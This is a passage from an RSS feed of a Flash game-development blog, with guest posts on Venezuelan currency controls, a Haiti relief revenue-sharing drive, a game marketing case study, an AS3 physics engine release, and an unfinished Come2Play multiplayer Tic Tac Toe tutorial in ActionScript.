<p>&laquo; Any self-respecting geek has certain <strong>basic needs</strong>, and Venezuelans are no exception: smartphones, laptops, permanent internet connection, access to information and, above all, the <strong>ability to purchase</strong> a lot of stuff we love although we don&#8217;t need it at all.</p>
<p><img src="/wp-content/uploads/2010/02/flag-venezuela.gif" /></p>
<p>That&#8217;s why Venezuela&#8217;s technology case is so curious. We are one of the Countries with <strong>highest Blackberry penetration</strong>, so much so that <strong>RIM</strong> (Research In Motion: the Canadian company that developes the BlackBerry smartphone) people were forced to know we&#8217;re not an African country, we have crappy but still profitable Internet connections and we can even (in many cases) afford a cable TV. <span id="more-2317"></span></p>
<p>On the other side, we are a Country under <strong>heavy control</strong> by the Government about the purchase of dollars, either to travel (in which case the Government itself tells you how many dollars you can purchase, at a given fee) and for internet shopping (which limit &#8211; the so called &#8220;quota limit&#8221; &#8211; is <strong>$400</strong>). </p>
<p><strong>The control over dollars makes it impossible to buy on the Internet </strong></p>
<p>Do you charge in dollars? Then you must sell them to the Government, that pays you in the official currency, with a currency exchange set by the Government itself (at the time of writing this article, 4.30 Bolivars for every dollar) and you can&#8217;t have dollar deposits in Venezuelan banks unless you have so much money that they&#8217;ll open for you a deposit abroad and let you manage it from your bank. </p>
<p>These restrictions are particularly annoying to the geek, when he wants to do things than almost any other Latin American geek can do, like buying a new Tablet on eBay or on Amazon, or buying a Geek Pillow. Needless to say we can&#8217;t buy things like the iPad or &#8211; much more to my taste &#8211; the Nexus One from Apple or Google pages.</p>
<p><strong>Venezuela used to be a technological Country </strong></p>
<p>In the rest of Latin America, Venezuela is seen (or has been seen for many years) as a rich country, thanks to large amounts of money due to oil incomes. The unseen truth unveils high poverty levels, which increase as we get devaluations (recently we had the last one, 100%) and that our ability to acquire foreign currency and/or items brought from abroad is becoming more and more complicated. Consumption limits and exchange controls are now part of our biggest problems (not to mention other problems like the energy crisis or the bad water service we are suffering in this moment). </p>
<p>Just to say one example, not so long ago the technology gap between U.S. and Venezuela was about <strong>a week</strong>, and this made Venezuela an highly technological Country. Now the gap can be of <strong>months</strong>. </p>
<p><strong>You can leave the Country only if approved by the Government</strong> </p>
<p>I still bitterly recall that because of these limitations I couldn&#8217;t go to <strong>Adobe Live 2009</strong> in Lima, and before that I couldn&#8217;t go to Bogota to an Aikido seminar with two of the most important masters of the continent in this Martial Art. Things that for other people are just a matter of having or not having enough money to afford them, for us it&#8217;s a matter of having the luck our currency is authorized and not exceeding the limit imposed. </p>
<p>We must clarify something: currency regulation is nothing new, and it&#8217;s a valid idea under certain circumstances, moreover it&#8217;s not the first time we have it. What&#8217;s illegal is: 1. It is not common to have limited access to foreign exchange 2. A control on the price of the dollar should be a temporary measure, usually a couple of months at most. We&#8217;re having it for about 3 years. </p>
<p><strong>How to deal with these restrictions</strong> </p>
<p>If you need the new MacBook, or the Nexus One or whatever, your solution is getting the money through Paypal (which has no agreements with any bank in the Venezuela), having someone bringing them from abroad and pay them in Bolivars, then buy it on the local market with <strong>prices that can even be three times the original price in foreign markets</strong> or get dollars in the parallel market (black market). </p>
<p>I do not want to enter the political issue, which is always tricky, but make it clear that being geek in my Country, Venezuela is becoming a more and more complicated issue, usually with more disappointments than successes. </p>
<p>I am sure we will seek ways to keep up on what we love and &#8211; in many cases &#8211; what feeds us. </p>
<p>Be careful when you are choosing who you want to be at the Government. &raquo;</p>
<p>Do you live in a Country with restrictions? Share with us your experience, contact me to have it published.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/02/03/being-a-geek-in-venezuela/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Mochi Media Haiti Relief Fund</title>
		<link>http://www.emanueleferonato.com/2010/01/22/mochi-media-haiti-relief-fund/</link>
		<comments>http://www.emanueleferonato.com/2010/01/22/mochi-media-haiti-relief-fund/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 10:17:59 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2256</guid>
		<description><![CDATA[You certainly know what happened in Haiti some days ago. On January 12, a 7.0 magnitude earthquake struck and almost destroyed the capital and all nearby cities.

The whole world is moving to support disaster relief, and I want you to know MochiMedia will be participating in the Haiti relief fund initiative that has started within [...]]]></description>
			<content:encoded><![CDATA[<p>You certainly know <a target ="_blank" href="http://news.google.com/news/search?aq=f&#038;um=1&#038;cf=all&#038;ned=us&#038;hl=en&#038;q=haiti+earthquake">what happened in Haiti</a> some days ago. On January 12, a 7.0 magnitude earthquake struck and almost destroyed the capital and all nearby cities.</p>
<p><img src="/wp-content/uploads/2010/01/haiti-flag1.gif" alt="haiti-flag1" /></p>
<p>The whole world is moving to support disaster relief, and I want you to know <a href="http://www.mochimedia.com/" target ="_blank">MochiMedia</a> will be participating in the Haiti relief fund initiative that has started within the community already.</p>
<p>Now developers can share games’ earnings to help Haitian people.</p>
<p>If you have a <a href="http://www.mochimedia.com/" target ="_blank">MochiMedia</a> account with active game, follow these steps:</p>
<p>1. Click on any game in your Developer Account<br />
2. Go to “Game Settings”<br />
3. Scroll to the bottom to “Revenue Sharing”<br />
4. Enter “MochiHaitiRelief” (without quotes) as the Developer to share with<br />
5. Choose the percentage you’d like to share for your game’s earnings<br />
6. Revenue will be appropriately split when they&#8217;ll calculate grand totals at the end of the month for all games</p>
<p>Mochi will also be matching dollar to dollar for the amount shared with the MochiHaitiRelief account. That means if at the end of the month that $500 has been put in, Mochi will match the $500 as well.</p>
<p>More information at the <a target ="_blank" href="http://mochiland.com/articles/mochi-media-haiti-relief-fund">official site</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/01/22/mochi-media-haiti-relief-fund/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HiRoads case study: the aftermath</title>
		<link>http://www.emanueleferonato.com/2010/01/21/hiroads-case-study-the-aftermath/</link>
		<comments>http://www.emanueleferonato.com/2010/01/21/hiroads-case-study-the-aftermath/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 16:26:29 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Game design]]></category>
		<category><![CDATA[Monetize]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2253</guid>
		<description><![CDATA[Do you remember Filippo Bodei&#8217;s HiRoads case study? 
After two months with HiRoads in the wild, Filippo shares with us the result of his project.
&#171; Here we are again after about two monts since HiRoads went live!
Today, the 21st of January, I can count 1203 registered users and 250 roads published on www.hiroads.com
What does it [...]]]></description>
			<content:encoded><![CDATA[<p>Do you remember <strong>Filippo Bodei</strong>&#8217;s <a href="http://www.emanueleferonato.com/2009/11/18/hiroads-case-study-building-a-community-around-a-game/">HiRoads case study</a>? </p>
<p>After two months with <strong><a target ="_blank" href="http://www.hiroads.com/">HiRoads</a></strong> in the wild, Filippo shares with us the result of his project.</p>
<p>&laquo; Here we are again after about two monts since HiRoads went live!</p>
<p>Today, the 21st of January, I can count 1203 registered users and 250 roads published on <a target ="_blank" href="http://www.hiroads.com/">www.hiroads.com</a><br />
What does it mean? It means an average of 20 new users and 4 new roads per day.<br />
Also a grand total of 1050$ (Mochiads + AdSense + 2 site-locked version) was earned.<br />
But let&#8217;s start from the beginning.<span id="more-2253"></span></p>
<p>No good deals on FGL, so I went the solo way!<br />
A light version of HiRoads was released only on Newgrounds and Kongregate, bringing 115,651 views the first and 894 the second.<br />
The game released was a light version because it had only 18 roads and had many in-game advertisement of the full game playable on <a target ="_blank" href="http://www.hiroads.com/">www.hiroads.com</a> (more roads, level editor, community and user generated content). I was trying to drive traffic on the site: instead of building a game portal and drive traffic through sponsored games, I tried to build a sort of portal around only one good game.</p>
<p>The Newgrounds experience (releas date: 11/14/09): it was saturday afternoon when the game was approved on NG so many players were online and it had good scores immediately.<br />
I missed daily top 5 only for a position, but HiRoads was the 2nd best scored game of the day. NG daily top 5 mixes movies and games, and movies get high scores very easily so that games are flushed from the ranking very often. So it was for HiRoads: 4 movies in the daily top 5 and only one game (which was very good indeed). NG really needs a daily top 5 for games only.<br />
After a week, sadly noticing how bad were the games on the NG frontpage, I asked personally TomFulp for the frontpage. Obviously I gently asked for it, starting the message with something &#8220;Hi Tom, maybe you missed HiRoads blah blah&#8230; it has good scores blah blah&#8230;&#8221;, and so it was frontpaged.<br />
It stayed only for a week (again, I see games that are on the frontpage for months and I can&#8217;t understand how those games can be played) but it was enough to receive 115,651 views, 1,994 votes ( 3.73 avg) and 107 reviews (7.7) score.<br />
NG has the usual problem: a storm of low score voting people that mess up things a lot. No matter how good is your game, you are going to receive a bunch of 0 votes only because it exists. Also, the average player on NG is not very smart, I had many low rated reviews saying &#8220;its a skyroads ripoff/clone/copy&#8221; and guess what? It actually is a skyroads clone! I didn&#8217;t want to believe what I was reading.<br />
Anyway I had very good traffic towards hiroads.com from newgrounds and the game spread on a million other sites.</p>
<p>The Kongregate experience (release date: 11/15/09): very little to say, it was a big error releasing the game on sunday. It lasted 2 days and then was lost in the ocean&#8230; I was very curious to see how a good arcade game could do on KONG, a portal where it seems that the millionth TD clone can make you a rich man&#8230; Sadly, we will never know!</p>
<p>The HiRoads experience: traffic on hiroads.com varied a lot. I had an average of 5k views until the 22nd of Dec and then dropped to under 1k (I think that&#8217;s because the game was played during school time). Since the 4th of Jan I have 2k visitors a day. I monetize traffic with AdSense (waiting approvation from CPMStar), but I cannot define a trend as earnings vary too much. I also got afflicted by smart pricing that made clicks to bring in veeeeeery little. So I tuned ads on hiroads.com, switched some illustrated to text, removed some useless and my CPC went back to a normal state.<br />
How users behave on hiroads.com?<br />
I built the site integrated with phpbb and facebook. Nearly no one wrote on the forum and only 29 users connected their account to their facebook profile.<br />
The community factor was pretty much a failure, but I didn&#8217;t give up. I built an ajax chat system similar to the one on GameJolt, and that became the most used feature of the site. The chat actually is flooded by students that spend their time insulting each others and I seriously doubt that they ever played the game&#8230;<br />
Another curious fact is that I have about a thousand users that registered an account but never activated it! I&#8217;m sending remainder periodically, but probably the mail is caught by the spam filter.</p>
<p>Now the plan is to build a facebook application that let you play the game and users&#8217; roads, but not build levels&#8230; I hope it spreads so I can count on more facebook traffic and test its viral capability.<br />
Also, I&#8217;m still waiting on MindJolt approvation and we all know that this site alone can make the difference.<br />
Soooo, I hope that the most is yet to come&#8230;</p>
<p>Conclusions:<br />
I tried different marketing solutions but I can assume that all my traffic (direct or indirect) comes from  the good old NG. A lucky strike on NG is everything (at least for my experience with HiRoads). Kong opportunity was wasted, and so was the attempt to advertise the game on indie blogs (I was pushing in the skyroads remake direction). I only got a mention in the &#8220;link friday dump&#8221; on Jayisgames, which is always good, but that did not bring too much traffic as a full article would have done.<br />
I&#8217;m waiting for a little redesign of the site before trying to push a little more on the marketing side.<br />
So, Friday is the better day of the week&#8230; it seems that a lot of people play games on Friday evening and night (UTC time), and so on Saturday noon.<br />
Starting back, I would release the game on Friday both on NG and KONG, would make the registration process easier (no phpbb, the forum is useless at the moment, but I still hope it populates) and would heavy market the game only after it has started.</p>
<p>It&#8217;s all for now, if something interesting will happen, I&#8217;ll let you know! &raquo;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/01/21/hiroads-case-study-the-aftermath/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Flave, a new open source AS3 Verlet physics engine</title>
		<link>http://www.emanueleferonato.com/2010/01/18/flave-a-new-open-source-as3-physics-engine/</link>
		<comments>http://www.emanueleferonato.com/2010/01/18/flave-a-new-open-source-as3-physics-engine/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 14:35:25 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2240</guid>
		<description><![CDATA[Do you remember Luis Fernando Silva?
He released a Box2D platform engine some months ago, and now I am publishing his last work, a Verlet physics engine.
If you need more information about Verlet integration, check this post.
This is what Luis says:
&#171; So, I was developing a small physics engine for a game of mine (Flash Physics [...]]]></description>
			<content:encoded><![CDATA[<p>Do you remember <strong>Luis Fernando Silva</strong>?</p>
<p>He released a <a href="http://www.emanueleferonato.com/2009/08/07/box2d-platform-engine-alternative/">Box2D platform engine</a> some months ago, and now I am publishing his last work, a Verlet physics engine.</p>
<p>If you need more information about Verlet integration, check <a href="http://www.emanueleferonato.com/2007/07/21/creation-of-a-ragdoll-with-flash-part-1-verlet-integration/">this post</a>.</p>
<p>This is what Luis says:</p>
<p>&laquo; So, I was developing a small physics engine for a game of mine (Flash Physics Engine v2), and the thing started to get bigger and take shape of a real physics engine, or atleast with enough features to run a ragdoll simulation.</p>
<p>I&#8217;ve received feedback from some guys at FGL and so I decided it was time to release it as open source! After commenting each line of code as much as I could, after 2 weeks of bug-testing to remove some instability and after an afternoon coding some samples, I have here packed for you guys at the blog the v0.6b version!</p>
<p>As you can guess, it&#8217;s a verlet engine so it isn&#8217;t as stable as rigid-body engines like Box2D or Motor Engine, and the only real solid there is the particle primitive. Which is a small circle (how exciting!). But since your blog gets so many hits from all kinds of coders, I tought maybe (like with my other samples posted on your blog), some more skilled coder could improve it into something better! &raquo;<span id="more-2240"></span></p>
<p>This is a demo completely developed with the engine:</p>
<p><embed src="/wp-content/uploads/2010/01/Samples.swf" allowscriptaccess="always" menu="false" quality="high" width="520" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></p>
<p>Use arrow keys to navigate through the 10 samples.</p>
<p>Besides the engine itself, it&#8217;s a great example of solid OOP programming, with a lot of comments in the source code.</p>
<p>Download the <a href="/wp-content/uploads/2010/01/flave-v0.6b.zip">source code</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/01/18/flave-a-new-open-source-as3-physics-engine/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Come2Play multiplayer API tutorial</title>
		<link>http://www.emanueleferonato.com/2010/01/14/come2play-multiplayer-api-tutorial/</link>
		<comments>http://www.emanueleferonato.com/2010/01/14/come2play-multiplayer-api-tutorial/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 17:00:42 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Game design]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2219</guid>
		<description><![CDATA[Today I want to introduce you a Come2Play multiplayer API tutorial written by Emanuele Ornella from Mind the Move.
Emanuele is a Flash game developer and a board game designer too.
&#171; After the development of my first two games Tokyo Train and Haunted house I am interested in development of a multiplayer game. For this reason [...]]]></description>
			<content:encoded><![CDATA[<p>Today I want to introduce you a <a href="http://www.come2play.com/" target="_blank">Come2Play</a> multiplayer API tutorial written by <strong>Emanuele Ornella</strong> from <a target = "_blank" href="http://www.mindthemove.com/">Mind the Move</a>.</p>
<p>Emanuele is a <a href="http://www.mindthemove.com/portal/mtm/playonline" target="_blank">Flash game developer</a> and a <a href="http://www.mindthemove.com/portal/mtm/games">board game designer</a> too.</p>
<p>&laquo; After the development of my first two games <a href="http://www.mindthemove.com/portal/mtm/playonline" target = "_blank">Tokyo Train and Haunted house</a> I am interested in development of a multiplayer game. For this reason I started to study the Come2Play API.</p>
<p>Links to the project: <a href="http://www.come2play.com/developer.asp" target = "_blank">http://www.come2play.com/developer.asp</a></p>
<p>The goal of the tutorial is to show how to build a Tic Tac Toe game using these API.</p>
<p>The project can be downloaded from<br />
<a href="http://www.mindthemove.com/blog/projects/TicTacToeC2P.zip">www.mindthemove.com/blog/projects/TicTacToeC2P.zip</a> </p>
<p>These API are basically used to have a communication between one or more clients (in Flash AS3) and the Come2Play server to allow a multiplayer game.</p>
<p>There are 2 type of functions: operations and callbacks.</p>
<p><img src="/wp-content/uploads/2010/01/image2-704576.jpg" /></p>
<p>I am going to use two classes.</p>
<p>- <code>MainTTTC2P</code> that extends <code>ClientGameAPI</code>. This is the main class the acts as controller</p>
<p>- <code>TTTC2PViewer</code> that is the viewer class. In some way, because the game is simple and it is for tutorial purpose, this will work as model as well.</p>
<p>I am not using an event driven approach as in the tutorials from come2play project because I found this confusing the main focus that is to learn how to use the basic API by come2play.<span id="more-2219"></span></p>
<p>For any reference to the API this is the link: <a href="For any reference to the API this is the link: http://come2play.com/API_inner.asp?f=1&#038;newsid=357" target ="_blank">http://come2play.com/API_inner.asp?f=1&#038;newsid=357</a></p>
<p>Let’s start from <code>MainTTTC2P</code> class.</p>
<p>This class is created in the first frame of the FLA file:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> game<span style="color: #000000; font-weight: bold;">:</span>MainTTTC2P = <span style="color: #0033ff; font-weight: bold;">new</span> MainTTTC2P<span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">this</span><span style="color: #000000;">&#41;</span></pre></div></div>

<p><img src="/wp-content/uploads/2010/01/image3-727706.jpg" /></p>
<p>The class is declared as:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> MainTTTC2P extends ClientGameAPI</pre></div></div>

<p>In the constructor I am going to get the calling movieclip and calling the super constructor (the constructor of the basic class ClientGameAPI.</p>
<p>Moreover I pass this movieclip to my viewer class that is created here.</p>
<p>The call to doRegisterOnServer is the way for the client to enter the lobby for this game. The call to this function should be done using <code>AS3_vs_AS2.waitForStage</code> function.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> MainTTTC2P<span style="color: #000000;">&#40;</span>stageMovieClip<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MovieClip</span><span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">super</span><span style="color: #000000;">&#40;</span>stageMovieClip<span style="color: #000000;">&#41;</span>;
theViewer = <span style="color: #0033ff; font-weight: bold;">new</span> TTTC2PViewer <span style="color: #000000;">&#40;</span>stageMovieClip<span style="color: #000000;">&#41;</span>; 
keyMove= <span style="color: #000000; font-weight:bold;">0</span>;
AS3_vs_As2.waitForStage<span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">this</span>,constructGame<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span><span style="color: #009900;">// constructor</span>
<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> constructGame<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
doRegisterOnServer<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;<span style="color: #009900;">//registers your game on the server</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>The first callback function that is called is <code>gotCustomInfo</code>. You need to remember that the callback functions inherited by the basic class <code>ClientGameAPI</code> must be declared as <code>override</code>.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> gotCustomInfo <span style="color: #000000;">&#40;</span>infoEntries<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">this</span>.myUserId = T.custom<span style="color: #000000;">&#40;</span>CUSTOM_INFO_KEY_myUserId,<span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span> <span style="color: #0033ff; font-weight: bold;">as</span> <span style="color: #004993;">int</span>; 
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>On this function you get back some custom information. Calling the helper class <code>T</code> you can get some information back from the server. One simple example is to use the constant string <code>CUSTOM_INFO_KEY_myUserId</code> to get your user id. Because this is a important information it’s useful to get this stored.</p>
<p>Remember that each player will receive from the server a unique id to be identified. It’s critical for the client flash game to know the user id. In some how this is telling the program who is it.</p>
<p>The second callback function the client will receive is <code>gotMatchStarted</code>. This is triggered as soon as the game is started.</p>
<p>In this function the most important information is the list of the user ids for all the players. Again this is critical to know so this is stored in an internal variable.</p>
<p>I found useful as well store immediately where in this array the client is. This is done using the already stored information about my id.</p>
<p>Let’s have an example. If <code>myUserId =41</code> and the array received is <code>allPlayerIds=[41,42]</code>, this client has index 0 in the array while my opponent will have index 1. Therefore <code>myUserIndex=0</code>; This is another way to know who the client is, in terms of index in the array of all players.</p>
<p>This is the time where to start the new board using <code>theViewer.startNewGame</code>. The viewer class should also know what is myUserIndex, therefore I am going to store this on that class.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> gotMatchStarted <span style="color: #000000;">&#40;</span>allPlayerIds<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span><span style="color: #3f5fbf;">/*int*/</span>, finishedPlayerIds<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span><span style="color: #3f5fbf;">/*int*/</span>, serverEntries<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span><span style="color: #3f5fbf;">/*ServerEntry*/</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">this</span>.allPlayerIds = allPlayerIds;
<span style="color: #0033ff; font-weight: bold;">this</span>.myUserIndex = allPlayerIds.<span style="color: #004993;">indexOf</span><span style="color: #000000;">&#40;</span>myUserId<span style="color: #000000;">&#41;</span>;
theViewer.startNewGame<span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">this</span>.myUserIndex<span style="color: #000000;">&#41;</span>;
<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Event</span>.<span style="color: #004993;">ENTER_FRAME</span>,timerHandler<span style="color: #000000;">&#41;</span>;
setupFirstPlayer<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>In this function I also start a loop using the <code>ENTER_FRAME</code> event. This is a function that will be called periodically with the fps set up in the FLA. This is a way to check if the viewer class has set up any new moves. This is an alternative to the event driven solution found in the come2play tutorials.</p>
<p>We will discuss this later.</p>
<p>The last function is used to define the first player. Because the game is in turns, only one player can make a move. Therefore this information must be set up.</p>
<p>A simple way is to define as starting player the first player in the index of all user ids. This information is stored in the <code>currentturnIndexPlayer</code> in the viewer class.</p>
<p>You need to think to the 2 clients that received the same array of the player ids (<code>allPlayerIds</code>). Therefore both clients have the user ids in order in this array: the first element of the array (<code>allPlayerIds[0]</code>) will be the same for both clients.</p>
<p>The serve must be notified by all clients about the current player. To do this each client must call the <code>doAllSetTurn</code> function. This is the way the server can be sure that all clients agreed to have one current player.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> setupFirstPlayer<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> firstPlayerIndex<span style="color: #000000; font-weight: bold;">:</span> <span style="color: #004993;">int</span> = <span style="color: #000000; font-weight:bold;">0</span>;
theViewer.currentturnIndexPlayer = firstPlayerIndex;
doAllSetTurn<span style="color: #000000;">&#40;</span>allPlayerIds<span style="color: #000000;">&#91;</span>firstPlayerIndex<span style="color: #000000;">&#93;</span>,<span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>It is time now to see the viewer class.</p>
<p>In the constructor the movieclip is stored.</p>
<p>Then the board is created. I found useful to have a linear array of 9 elements instead of a double array 3&#215;3. The index of the linear array will be: </p>
<p>0 1 2<br />
3 4 5<br />
6 7 8</p>
<p>In order to display an empty square or a square filled with the “x” or with the “o” I have created a Movie Clip symbol called <code>Square</code> and I have exported for Actionscript.</p>
<p>In the frame=1 there is an empty square. In frame=2 there is the “x”, while in frame=3 there is the “o”.</p>
<p><img src="/wp-content/uploads/2010/01/image4-796851.jpg" /></p>
<p><img src="/wp-content/uploads/2010/01/image1-760453.jpg" /></p>
<p>To create a new symbol it’s just enough to create a new instance of the class <code>Square</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> squareNew = <span style="color: #0033ff; font-weight: bold;">new</span> Square<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>Then I set up the Square movieclip in the right position and to the right frame (<code>squareNew.gotoAndStop(EMPTYFRAME);</code>). Then I add this new symbol to the stage and to an <code>arrayOfSquares</code> that I use to keep track of the clicked squares.</p>
<p>To be noted I have used a dynamic property called “<code>myBoardIndex</code>” to store the index of the movie clip in the board. For example the first movie clip (on the left top corner) will have <code>myBoardIndex=0</code>. The one in the center of the board will have <code>myBoardIndex=4</code>, etc</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> TTTC2PViewer <span style="color: #000000;">&#40;</span>stageMovieClip<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MovieClip</span><span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">this</span>.stageMovieClip = stageMovieClip;
arrayOfSquares = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Array</span><span style="color: #000000;">&#40;</span><span style="color: #000000; font-weight:bold;">9</span><span style="color: #000000;">&#41;</span>;
<span style="color: #0033ff; font-weight: bold;">for</span><span style="color: #000000;">&#40;</span>i=<span style="color: #000000; font-weight:bold;">0</span>;i<span style="color: #000000; font-weight: bold;">&lt;</span><span style="color: #000000; font-weight:bold;">9</span>;i<span style="color: #000000; font-weight: bold;">++</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> squareNew = <span style="color: #0033ff; font-weight: bold;">new</span> Square<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
squareNew.<span style="color: #004993;">x</span>=SQUAREPOSITION<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span>.<span style="color: #004993;">x</span>;
squareNew.<span style="color: #004993;">y</span>=SQUAREPOSITION<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span>.<span style="color: #004993;">y</span>;
squareNew.myBoardIndex= i;
squareNew.<span style="color: #004993;">gotoAndStop</span><span style="color: #000000;">&#40;</span>EMPTYFRAME<span style="color: #000000;">&#41;</span>;
squareNew.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">MOUSE_DOWN</span>, clickHandler<span style="color: #000000;">&#41;</span>;
arrayOfSquares<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span> = squareNew;
stageMovieClip.<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span>squareNew<span style="color: #000000;">&#41;</span>;
squareClickedIndex = NOCLICKEDSQUARE;
<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span><span style="color: #009900;">// constructor</span></pre></div></div>

<p>Each movieclip is registered with a <code>MOUSE_DOWN</code> event. The called function is <code>clickHandler</code>.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> clickHandler<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span><span style="color: #000000; font-weight: bold;">!</span>isMyTurn<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span> <span style="color: #0033ff; font-weight: bold;">return</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> clicked<span style="color: #000000; font-weight: bold;">:</span>Square = event.<span style="color: #004993;">target</span> <span style="color: #0033ff; font-weight: bold;">as</span> Square;
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span>arrayOfSquares<span style="color: #000000;">&#91;</span>clicked.myBoardIndex<span style="color: #000000;">&#93;</span>.<span style="color: #004993;">currentFrame</span><span style="color: #000000;">&#41;</span>==EMPTYFRAME<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
